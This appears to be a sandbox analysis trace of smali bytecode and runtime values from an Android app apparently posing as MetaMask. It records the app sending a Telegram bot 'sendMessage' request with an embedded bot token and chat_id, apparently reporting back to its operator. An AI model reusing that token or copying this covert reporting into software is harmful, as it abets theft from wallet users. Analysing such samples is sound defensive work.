        18goto_11: if-eqz p5, :cond_16
        20invoke-virtual {p2, p5}, Ljava/net/Socket;->bind(Ljava/net/SocketAddress;)V
        21cond_16:
        22invoke-virtual {p2, p4, p1}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        • Time: 1302660
          • This:
            • cz.msebera.android.httpclient.HttpHost@d3d89ca
          • Return:
            • api.telegram.org
        • Time: 1302660
          • This:
            • Socket[address=api.telegram.org/149.154.167.220,port=443,localPort=35794]
          • p0: api.telegram.org:443
          • p1: 10000
        23try_end_19: instance-of p1, p2, Ljavax/net/ssl/SSLSocket;
        24if-eqz p1, :cond_2b
        25move-object p1, p2
        26check-cast p1, Ljavax/net/ssl/SSLSocket;
        28invoke-virtual {p1}, Ljavax/net/ssl/SSLSocket;->startHandshake()V
        30invoke-virtual {p3}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        • Time: 1302896
          • This:
            • cz.msebera.android.httpclient.HttpHost@d3d89ca
          • Return:
            • api.telegram.org
        31move-result-object p3
        33invoke-direct {p0, p1, p3}, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->verifyHostname(Ljavax/net/ssl/SSLSocket;Ljava/lang/String;)V
        34return-object p2
        35cond_2b:
        36invoke-virtual {p3}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        37move-result-object p1
        39invoke-virtual {p4}, Ljava/net/InetSocketAddress;->getPort()I
        40move-result p3
        42invoke-virtual {p0, p2, p1, p3, p6}, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->createLayeredSocket(Ljava/net/Socket;Ljava/lang/String;ILcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        43move-result-object p1
        44return-object p1
        45catch_38: move-exception p1
        46try_start_39:
        47invoke-virtual {p2}, Ljava/net/Socket;->close()V
        48catch_3c: throw p1
        Cross References
        APIs
        • java.lang.Class.getDeclaredFields
        • java.lang.reflect.Field.getName
        • java.lang.String.equals
        • java.lang.reflect.Field.setAccessible
        • java.lang.reflect.Field.get
        Strings
        • wrappedEntity
        • AsyncHttpClient
        • wrappedEntity consume
        Position Instruction Meta Information
        0instance-of v0, p0, Lcz/msebera/android/httpclient/entity/HttpEntityWrapper;
        1if-eqz v0, :cond_3e
        2const/4 v0, 0x0
        3try_start_5: const-class v1, Lcz/msebera/android/httpclient/entity/HttpEntityWrapper;
        5invoke-virtual {v1}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
        6move-result-object v1
        7array-length v2, v1
        8const/4 v3, 0x0
        9goto_d: if-ge v3, v2, :cond_22
        10aget-object v4, v1, v3
        12invoke-virtual {v4}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
        13move-result-object v5
        15const-string v6, "wrappedEntity"
        17invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        18move-result v5
        19if-eqz v5, :cond_1f
        20move-object v0, v4
        21goto/16 :goto_22
        22cond_1f: add-int/lit8 v3, v3, 0x1
        23goto/16 :goto_d
        24goto_22: if-eqz v0, :cond_3e
        25const/4 v1, 0x1
        27invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
        29invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
        • Time: 1305025
          • This:
            • protected cz.msebera.android.httpclient.HttpEntity cz.msebera.android.httpclient.entity.HttpEntityWrapper.wrappedEntity
            • getName:wrappedEntity
          • p0: cz.msebera.android.httpclient.conn.BasicManagedEntity@1c0b6ea
          • Return:
            • [Content-Type: application/json,Content-Length: 243,Chunked: false]
        30move-result-object p0
        31check-cast p0, Lcz/msebera/android/httpclient/HttpEntity;
        32if-eqz p0, :cond_3e
        34invoke-interface {p0}, Lcz/msebera/android/httpclient/HttpEntity;->consumeContent()V
        35try_end_33: goto/16 :goto_3e
        36catch_34: move-exception p0
        38sget-object v0, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        40const-string v1, "AsyncHttpClient"
        42const-string v2, "wrappedEntity consume"
        44invoke-interface {v0, v1, v2, p0}, Lcom/loopj/android/http/LogInterface;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        45goto_3e: return-void
        Cross References
        APIs
        • com.loopj.android.http.LogHandler.isLoggingEnabled
        • java.lang.Integer.valueOf
        • java.lang.Integer.intValue
        • android.util.Log.e
        • android.util.Log.w
        • android.util.Log.i
        • android.util.Log.d
        • android.util.Log.v
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcom/loopj/android/http/LogHandler;->isLoggingEnabled()Z
        • Time: 1304995
          • This:
            • com.loopj.android.http.LogHandler@f30d38d
          • Return:
            • true
        2move-result v0
        3if-eqz v0, :cond_39
        5invoke-virtual {p0, p1}, Lcom/loopj/android/http/LogHandler;->shouldLog(I)Z
        6move-result v0
        7if-eqz v0, :cond_39
        8packed-switch p1, :pswitch_data_3a
        9pswitch_f: goto/16 :goto_39
        10pswitch_10:
        11sget-object p1, Landroid/os/Build$VERSION;->SDK:Ljava/lang/String;
        13invoke-static {p1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
        14move-result-object p1
        16invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
        17move-result p1
        18const/16 v0, 0x8
        19if-le p1, v0, :cond_22
        21invoke-direct {p0, p2, p3, p4}, Lcom/loopj/android/http/LogHandler;->checkedWtf(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        22goto/16 :goto_39
        23cond_22:
        24invoke-static {p2, p3, p4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        25goto/16 :goto_39
        26pswitch_26:
        27invoke-static {p2, p3, p4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        28goto/16 :goto_39
        29pswitch_2a:
        30invoke-static {p2, p3, p4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        31goto/16 :goto_39
        32pswitch_2e:
        33invoke-static {p2, p3, p4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        34goto/16 :goto_39
        35pswitch_32:
        36invoke-static {p2, p3, p4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        37goto/16 :goto_39
        38pswitch_36:
        39invoke-static {p2, p3, p4}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
        40cond_39: return-void
        APIs
        • java.lang.reflect.Method.getName
        • java.lang.String.equals
        • java.lang.reflect.Method.invoke
        • java.lang.reflect.InvocationTargetException.getCause
        Strings
        • close
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/Throwable;
        3}
        4.end annotation
        6invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
        7move-result-object p1
        9const-string v0, "close"
        11invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        12move-result p1
        13if-eqz p1, :cond_11
        15invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;->close()V
        16const/4 p1, 0x0
        17return-object p1
        18cond_11:
        19iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;->original:Lcz/msebera/android/httpclient/HttpResponse;
        21invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        • Time: 1304981
          • This:
            • public abstract cz.msebera.android.httpclient.StatusLine cz.msebera.android.httpclient.HttpResponse.getStatusLine()
            • getName:getStatusLine
          • p0: cz.msebera.android.httpclient.message.BasicHttpResponse@e03e078
          • p1: null
          • Return:
            • HTTP/1.1 200 OK
        • Time: 1304983
          • This:
            • public abstract cz.msebera.android.httpclient.HttpEntity cz.msebera.android.httpclient.HttpResponse.getEntity()
            • getName:getEntity
          • p0: cz.msebera.android.httpclient.message.BasicHttpResponse@e03e078
          • p1: null
          • Return:
            • cz.msebera.android.httpclient.conn.BasicManagedEntity@1c0b6ea
        • Time: 1305028
          • This:
            • public abstract cz.msebera.android.httpclient.Header[] cz.msebera.android.httpclient.HttpMessage.getAllHeaders()
            • getName:getAllHeaders
          • p0: cz.msebera.android.httpclient.message.BasicHttpResponse@e03e078
          • p1: null
          • Return:
            • [Lcz.msebera.android.httpclient.Header;@bbe4690
            • Arrays.toString: [Server: nginx/1.12.2, Date: Tue, 12 Feb 2019 13:29:49 GMT, Content-Type: application/json, Content-Length: 243, Connection: keep-alive, Access-Control-Allow-Origin: *, Access-Control-Allow-Methods: GET, POST, OPTIONS, Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection, Strict-Transport-Security: max-age=31536000; includeSubDomains; preload]
        22move-result-object p1
        23try_end_17: return-object p1
        24catch_18: move-exception p1
        26invoke-virtual {p1}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
        27move-result-object p2
        28if-eqz p2, :cond_20
        29throw p2
        30cond_20: throw p1
        Cross References
        APIs
        • java.lang.reflect.Constructor.newInstance
        • java.lang.IllegalStateException.<init>
        Strings
        • java.lang.String@adb5351
        Position Instruction Meta Information
        0try_start_0:
        1sget-object v0, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;->CONSTRUCTOR:Ljava/lang/reflect/Constructor;
        2const/4 v1, 0x1
        3new-array v1, v1, [Ljava/lang/Object;
        4const/4 v2, 0x0
        5new-instance v3, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;
        7invoke-direct {v3, p0}, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;-><init>(Lcz/msebera/android/httpclient/HttpResponse;)V
        8aput-object v3, v1, v2
        10invoke-virtual {v0, v1}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
        • Time: 1304970
          • This:
            • java.lang.reflect.Method@9c55ddb
            • getName:toString
          • p0: cz.msebera.android.httpclient.message.BasicHttpResponse@e03e078
          • p1: null
          • Return:
            • java.lang.String@adb5351
        • Time: 1304869
          • This:
            • public $Proxy3(java.lang.reflect.InvocationHandler)
          • p0: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy@40fa3eb
          • Return:
            • HTTP/1.1 200 OK [Server: nginx/1.12.2, Date: Tue, 12 Feb 2019 13:29:49 GMT, Content-Type: application/json, Content-Length: 243, Connection: keep-alive, Access-Control-Allow-Origin: *, Access-Control-Allow-Methods: GET, POST, OPTIONS, Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection, Strict-Transport-Security: max-age=31536000; includeSubDomains; preload] cz.msebera.android.httpclient.conn.BasicManagedEntity@1c0b6ea
        11move-result-object p0
        12check-cast p0, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        13try_end_13: return-object p0
        14catch_14: move-exception p0
        15new-instance v0, Ljava/lang/IllegalStateException;
        17invoke-direct {v0, p0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/Throwable;)V
        18throw v0
        19catch_1b: move-exception p0
        20new-instance v0, Ljava/lang/IllegalStateException;
        22invoke-direct {v0, p0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/Throwable;)V
        23throw v0
        24catch_22: move-exception p0
        25new-instance v0, Ljava/lang/IllegalStateException;
        27invoke-direct {v0, p0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/Throwable;)V
        28throw v0
        APIs
        • java.net.InetAddress.getByName
        • java.net.InetSocketAddress.<init>
        • cz.msebera.android.httpclient.conn.HttpInetSocketAddress.<init>
        Strings
        • api.telegram.org
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Ljava/net/UnknownHostException;,
        4Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        5}
        6.end annotation
        8iget-object v0, p0, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->nameResolver:Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;
        9if-eqz v0, :cond_b
        11iget-object v0, p0, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->nameResolver:Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;
        13invoke-interface {v0, p2}, Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;->resolve(Ljava/lang/String;)Ljava/net/InetAddress;
        14move-result-object v0
        15goto/16 :goto_f
        16cond_b:
        17invoke-static {p2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
        • Time: 1302612
          • p0: api.telegram.org
          • Return:
            • api.telegram.org/149.154.167.220
        18move-result-object v0
        19goto_f: const/4 v1, 0x0
        20if-nez p4, :cond_14
        21if-lez p5, :cond_1d
        22cond_14: new-instance v1, Ljava/net/InetSocketAddress;
        23if-lez p5, :cond_19
        24goto/16 :goto_1a
        25cond_19: const/4 p5, 0x0
        26goto_1a:
        27invoke-direct {v1, p4, p5}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        28cond_1d: new-instance p4, Lcz/msebera/android/httpclient/conn/HttpInetSocketAddress;
        29new-instance p5, Lcz/msebera/android/httpclient/HttpHost;
        31invoke-direct {p5, p2, p3}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;I)V
        33invoke-direct {p4, p5, v0, p3}, Lcz/msebera/android/httpclient/conn/HttpInetSocketAddress;-><init>(Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;I)V
        35invoke-virtual {p0, p1, p4, v1, p6}, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->connectSocket(Ljava/net/Socket;Ljava/net/InetSocketAddress;Ljava/net/InetSocketAddress;Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/Socket;
        36move-result-object p1
        37return-object p1
        Cross References
        APIs
        • com.lemon.metamask.Activity.MainActivity.getSystemService
        • android.net.ConnectivityManager.getActiveNetworkInfo
        • android.net.NetworkInfo.isConnected
        Strings
        • connectivity
        Position Instruction Meta Information
        1const-string v0, "connectivity"
        3invoke-virtual {p0, v0}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
        • Time: 1301633
          • This:
            • com.lemon.metamask.Activity.MainActivity@b8b6090
          • p0: connectivity
          • Return:
            • android.net.ConnectivityManager@6e63c4e
        4move-result-object p0
        5check-cast p0, Landroid/net/ConnectivityManager;
        7invoke-virtual {p0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
        • Time: 1301636
          • This:
            • android.net.ConnectivityManager@6e63c4e
          • Return:
            • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
        8move-result-object p0
        9if-eqz p0, :cond_16
        11invoke-virtual {p0}, Landroid/net/NetworkInfo;->isConnected()Z
        • Time: 1301639
          • This:
            • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
          • Return:
            • true
        12move-result p0
        13if-eqz p0, :cond_16
        14const/4 p0, 0x1
        15goto/16 :goto_17
        16cond_16: const/4 p0, 0x0
        17goto_17: return p0
        APIs
        • java.net.InetAddress.getAllByName
        Strings
        • api.telegram.org
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/net/UnknownHostException;
        3}
        4.end annotation
        6invoke-static {p1}, Ljava/net/InetAddress;->getAllByName(Ljava/lang/String;)[Ljava/net/InetAddress;
        • Time: 1302605
          • p0: api.telegram.org
          • Return:
            • [Ljava.net.InetAddress;@545e679
            • Arrays.toString: [api.telegram.org/149.154.167.220]
        7move-result-object p1
        8return-object p1
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getMethod
        • java.lang.String.equalsIgnoreCase
        • cz.msebera.android.httpclient.client.config.RequestConfig.getCookieSpec
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.<init>
        • java.net.URI.getPath
        • cz.msebera.android.httpclient.HttpHost.getHostName
        • cz.msebera.android.httpclient.conn.routing.HttpRoute.isSecure
        • java.util.ArrayList.<init>
        • java.util.Date.<init>
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.List.add
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.List.isEmpty
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • HTTP request
        • HTTP context
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@a81a21d
        • java.lang.String@af5574a
        • java.lang.String@c1438e0
        • java.lang.String@ee70663
        • CONNECT
        • Cookie store not specified in HTTP context
        • CookieSpec registry not specified in HTTP context
        • Target host not set in the context
        • Connection route not set in the context
        • best-match
        • CookieSpec selected:
        • api.telegram.org
        • /
        • Cookie
        • match
        • expired
        • http.cookie-spec
        • http.cookie-origin
        • Unsupported cookie policy:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP context"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        16move-result-object v0
        18invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303356
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d2ea8ec
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d2ea8ec
          • Return:
            • java.lang.String@c1438e0
          • Return:
            • java.lang.String@c1438e0
        • Time: 1303358
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d2ea8ec
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303359
          • This:
            • cz.msebera.android.httpclient.HttpVersion@e623af4
          • Return:
            • java.lang.String@a81a21d
        • Time: 1303370
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6de04b5
          • p0: java.lang.String@c1438e0
        • Time: 1303372
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6de04b5
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303378
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6de04b5
          • p0: java.lang.String@a81a21d
        • Time: 1303379
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6de04b5
          • p0: java.lang.String@ee70663
        • Time: 1303383
          • This:
            • java.lang.String@af5574a
          • p0: [C@84ae6bb
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@9d367d8
          • Return:
            • java.lang.String@af5574a
        • Time: 1303389
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6de04b5
          • Return:
            • java.lang.String@af5574a
        19move-result-object v0
        21const-string v1, "CONNECT"
        23invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303393
          • This:
            • java.lang.String@c1438e0
          • p0: CONNECT
          • Return:
            • false
        24move-result v0
        25if-eqz v0, :cond_1b
        26return-void
        27cond_1b:
        28invoke-static {p2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;
        29move-result-object v0
        31invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getCookieStore()Lcz/msebera/android/httpclient/client/CookieStore;
        32move-result-object v1
        33if-nez v1, :cond_2d
        35iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        37const-string p2, "Cookie store not specified in HTTP context"
        39invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        40return-void
        41cond_2d:
        42invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getCookieSpecRegistry()Lcz/msebera/android/httpclient/config/Lookup;
        43move-result-object v2
        44if-nez v2, :cond_3b
        46iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        48const-string p2, "CookieSpec registry not specified in HTTP context"
        50invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        51return-void
        52cond_3b:
        53invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        54move-result-object v3
        55if-nez v3, :cond_49
        57iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        59const-string p2, "Target host not set in the context"
        61invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        62return-void
        63cond_49:
        64invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getHttpRoute()Lcz/msebera/android/httpclient/conn/routing/RouteInfo;
        65move-result-object v4
        66if-nez v4, :cond_57
        68iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        70const-string p2, "Connection route not set in the context"
        72invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        73return-void
        74cond_57:
        75invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        76move-result-object v5
        78invoke-virtual {v5}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getCookieSpec()Ljava/lang/String;
        • Time: 1303394
          • This:
            • , expectContinueEnabled=false, proxy=null, localAddress=null, staleConnectionCheckEnabled=true, cookieSpec=null, redirectsEnabled=true, relativeRedirectsAllowed=true, maxRedirects=50, circularRedirectsAllowed=false, authenticationEnabled=true, targetPreferredAuthSchemes=null, proxyPreferredAuthSchemes=null, connectionRequestTimeout=10000, connectTimeout=10000, socketTimeout=10000]
          • Return:
            • null
        79move-result-object v5
        80if-nez v5, :cond_63
        82const-string v5, "best-match"
        83cond_63:
        84iget-object v6, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        86invoke-virtual {v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1303396
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@eb99e16
          • Return:
            • false
        87move-result v6
        88if-eqz v6, :cond_81
        90iget-object v6, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        91new-instance v7, Ljava/lang/StringBuilder;
        93invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        95const-string v8, "CookieSpec selected: "
        97invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        99invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        101invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        102move-result-object v7
        104invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        105cond_81: instance-of v6, p1, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        106const/4 v7, 0x0
        107if-eqz v6, :cond_8e
        108move-object v6, p1
        109check-cast v6, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        111invoke-interface {v6}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        112move-result-object v6
        113goto/16 :goto_9d
        114cond_8e: new-instance v6, Ljava/net/URI;
        116invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        117move-result-object v8
        119invoke-interface {v8}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        120move-result-object v8
        122invoke-direct {v6, v8}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        123try_end_9b: goto/16 :goto_9d
        124catch_9c: move-object v6, v7
        125goto_9d: if-eqz v6, :cond_a3
        127invoke-virtual {v6}, Ljava/net/URI;->getPath()Ljava/lang/String;
        128move-result-object v7
        129cond_a3:
        130invoke-virtual {v3}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        • Time: 1303399
          • This:
            • https://api.telegram.org
          • Return:
            • api.telegram.org
        131move-result-object v6
        133invoke-virtual {v3}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        134move-result v3
        135if-gez v3, :cond_b5
        137invoke-interface {v4}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        138move-result-object v3
        140invoke-virtual {v3}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        141move-result v3
        142cond_b5: new-instance v8, Lcz/msebera/android/httpclient/cookie/CookieOrigin;
        143const/4 v9, 0x0
        144if-ltz v3, :cond_bb
        145goto/16 :goto_bc
        146cond_bb: const/4 v3, 0x0
        147goto_bc:
        148invoke-static {v7}, Lcz/msebera/android/httpclient/util/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
        149move-result v10
        150if-nez v10, :cond_c3
        151goto/16 :goto_c5
        152cond_c3:
        153const-string v7, "/"
        154goto_c5:
        155invoke-interface {v4}, Lcz/msebera/android/httpclient/conn/routing/RouteInfo;->isSecure()Z
        • Time: 1303400
          • This:
            • {s}->https://api.telegram.org
          • Return:
            • true
        156move-result v4
        158invoke-direct {v8, v6, v3, v7, v4}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;-><init>(Ljava/lang/String;ILjava/lang/String;Z)V
        160invoke-interface {v2, v5}, Lcz/msebera/android/httpclient/config/Lookup;->lookup(Ljava/lang/String;)Ljava/lang/Object;
        161move-result-object v2
        162check-cast v2, Lcz/msebera/android/httpclient/cookie/CookieSpecProvider;
        163if-eqz v2, :cond_1ac
        165invoke-interface {v2, v0}, Lcz/msebera/android/httpclient/cookie/CookieSpecProvider;->create(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/cookie/CookieSpec;
        166move-result-object v0
        167new-instance v2, Ljava/util/ArrayList;
        169invoke-interface {v1}, Lcz/msebera/android/httpclient/client/CookieStore;->getCookies()Ljava/util/List;
        170move-result-object v1
        172invoke-direct {v2, v1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
        173new-instance v1, Ljava/util/ArrayList;
        175invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
        176new-instance v3, Ljava/util/Date;
        178invoke-direct {v3}, Ljava/util/Date;-><init>()V
        180invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        181move-result-object v2
        182cond_ef:
        183invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        184move-result v4
        185if-eqz v4, :cond_155
        187invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        188move-result-object v4
        189check-cast v4, Lcz/msebera/android/httpclient/cookie/Cookie;
        191invoke-interface {v4, v3}, Lcz/msebera/android/httpclient/cookie/Cookie;->isExpired(Ljava/util/Date;)Z
        192move-result v5
        193if-nez v5, :cond_131
